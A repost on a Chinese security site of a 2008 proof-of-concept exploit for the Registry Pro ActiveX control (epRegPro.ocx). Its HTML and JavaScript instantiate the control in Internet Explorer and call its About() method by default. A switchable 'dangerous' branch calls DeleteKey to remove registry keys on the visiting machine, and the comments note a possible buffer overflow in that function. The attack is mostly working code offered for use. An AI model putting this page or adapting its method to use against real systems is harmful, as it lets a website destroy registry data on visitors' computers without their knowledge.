首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Registry Pro (epRegPro.ocx) Remote Insecure Method Exploit
来源:h4ck-y0u.org 作者:t0pP8uZz 发布时间:2008-03-18  
<HTML>
<!--

- Registry Pro (epRegPro.ocx) Remote Insecure Exploit -

Author: t0pP8uZz
Homepage: h4ck-y0u.org / milw0rm.com
Description: ActiveX Remote Insecure

Report: Tested on Microsoft Windows XP Pro (SP2 ) Internet Explorer 7 Fully Patched

ActiveX: http://www.evansprogramming.com/registry_pro.asp

The Following Material Is For Educational Purposes Only - I will not be held responsable for any illegal actions.

NOTE: the first parameter in the DeleteKey() function is vulnerble to BoF. And can possiblly overwrite the EIP

InternetExplorer can Initialise this ActiveX control, And take advantage of its functions.
Included in this exploit (POC) is a peice of javascript code lauching the ActiveX control, and executing one of its functions. the function being About()
all this will do is lauch a friendly, harmless dialog box, therefore being the perfect POC.

Also i added a peice of code that will delete specific REGKEYS or infact possible delete a whole subkey/branch. to use this code it has to be uncommented.

- epRegPro.ocx -

About Displays the Registry Pro About Dialog.
CreateKey Creates a registry key.
DeleteBranch Deletes a branch and all it’s child keys and values.
DeleteKey Deletes one registry key.
DeleteValue Deletes one registry value.
EnumKeys Returns a collection containing all keys within a specified branch.
EnumValues Returns a collection containing all values within a specified key.
QueryType Returns a value type.
QueryValue Returns a value.
RenameKey Renames a key.
SetValue Sets or creates a value.

Peace.

-->
<OBJECT ID="RegPro" CLASSID="CLSID:D5C839EB-DA84-4F98-9D42-2074C2EE9EFC">Could Not Load ActiveX Control.</OBJECT>
<script language="javascript">
/* - Registry Pro (epRegPro.ocx) Remote Insecure Exploit - */
/*                       Javascript Code By t0pP8uZz                        */

var keyname = "Software/key"; // Registry key to delete

Exploit("harmless"); // Change argument to "dangerous" to delete specified reg key.

function Exploit(type) {

switch(type) {

case "harmless":
default:
RegPro.About(); // Simple Harmless POC
break

case "dangerous":
RegPro.DeleteKey(80000002, keyname); // 80000002 HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER 80000001h UNCOMMENTING THIS LIKE WILL DELETE REGISTRY KEYS
break
}
}

</script>
</HTML>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Home FTP Server 1.4.5 Remote D
·HTTP File Upload ActiveX (UUpl
·Apple Safari (webkit) Remote D
·KAPhotoservice (album.asp) Rem
·Exploits XNView oversized file
·PEEL CMS Admin Hash Extraction
·CA BrightStor ARCserve Backup
·Sun Solaris rpc.ypupdated Arbi
·Rosoft Media Player 4.1.8 RML
·PHP-Nuke Platinum 7.6.b.5 (dyn
·NetWin Surgemail 3.8k4-4 IMAP
·destar 0.2.2-5 Arbitrary Add N
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved